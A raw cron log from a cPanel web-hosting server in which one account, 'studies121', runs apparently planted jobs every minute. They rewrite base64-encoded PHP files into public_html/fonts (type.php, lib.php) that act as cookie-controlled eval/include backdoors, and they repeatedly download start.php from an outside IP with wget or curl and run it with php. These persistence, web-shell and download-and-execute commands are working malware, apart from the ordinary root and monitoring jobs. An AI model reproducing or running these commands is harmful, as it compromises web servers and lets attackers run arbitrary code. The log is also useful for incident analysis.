Sep  9 17:41:01 ip-184-168-122-23 CROND[22908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:41:01 ip-184-168-122-23 CROND[22911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:41:01 ip-184-168-122-23 CROND[22913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:41:01 ip-184-168-122-23 CROND[22912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:42:01 ip-184-168-122-23 CROND[23096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:42:01 ip-184-168-122-23 CROND[23098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:42:01 ip-184-168-122-23 CROND[23099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:42:01 ip-184-168-122-23 CROND[23100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:42:01 ip-184-168-122-23 CROND[23101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:43:01 ip-184-168-122-23 CROND[23310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:43:01 ip-184-168-122-23 CROND[23313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:43:01 ip-184-168-122-23 CROND[23312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:43:01 ip-184-168-122-23 CROND[23314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:44:01 ip-184-168-122-23 CROND[23412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:44:01 ip-184-168-122-23 CROND[23414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:44:01 ip-184-168-122-23 CROND[23415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:44:01 ip-184-168-122-23 CROND[23416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:44:01 ip-184-168-122-23 CROND[23418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:45:01 ip-184-168-122-23 CROND[23534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:45:01 ip-184-168-122-23 CROND[23535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:45:01 ip-184-168-122-23 CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:45:01 ip-184-168-122-23 CROND[23538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:45:01 ip-184-168-122-23 CROND[23540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:45:01 ip-184-168-122-23 CROND[23541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:46:02 ip-184-168-122-23 CROND[23674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:46:02 ip-184-168-122-23 CROND[23676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:46:02 ip-184-168-122-23 CROND[23677]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:46:02 ip-184-168-122-23 CROND[23681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:46:02 ip-184-168-122-23 CROND[23678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:46:02 ip-184-168-122-23 CROND[23682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:46:02 ip-184-168-122-23 CROND[23683]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 17:47:02 ip-184-168-122-23 CROND[23777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:47:02 ip-184-168-122-23 CROND[23780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:47:02 ip-184-168-122-23 CROND[23781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:47:02 ip-184-168-122-23 CROND[23779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:48:01 ip-184-168-122-23 CROND[23948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:48:01 ip-184-168-122-23 CROND[23951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:48:01 ip-184-168-122-23 CROND[23950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:48:01 ip-184-168-122-23 CROND[23953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:48:01 ip-184-168-122-23 CROND[23954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:49:01 ip-184-168-122-23 CROND[24040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:49:01 ip-184-168-122-23 CROND[24043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:49:01 ip-184-168-122-23 CROND[24042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:49:01 ip-184-168-122-23 CROND[24044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:50:02 ip-184-168-122-23 CROND[24135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:50:02 ip-184-168-122-23 CROND[24140]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:50:02 ip-184-168-122-23 CROND[24146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:51:02 ip-184-168-122-23 CROND[24239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:51:02 ip-184-168-122-23 CROND[24240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:51:02 ip-184-168-122-23 CROND[24241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:51:02 ip-184-168-122-23 CROND[24243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:52:01 ip-184-168-122-23 CROND[24316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:52:01 ip-184-168-122-23 CROND[24318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:52:01 ip-184-168-122-23 CROND[24319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:52:01 ip-184-168-122-23 CROND[24321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:52:01 ip-184-168-122-23 CROND[24320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:53:01 ip-184-168-122-23 CROND[24403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
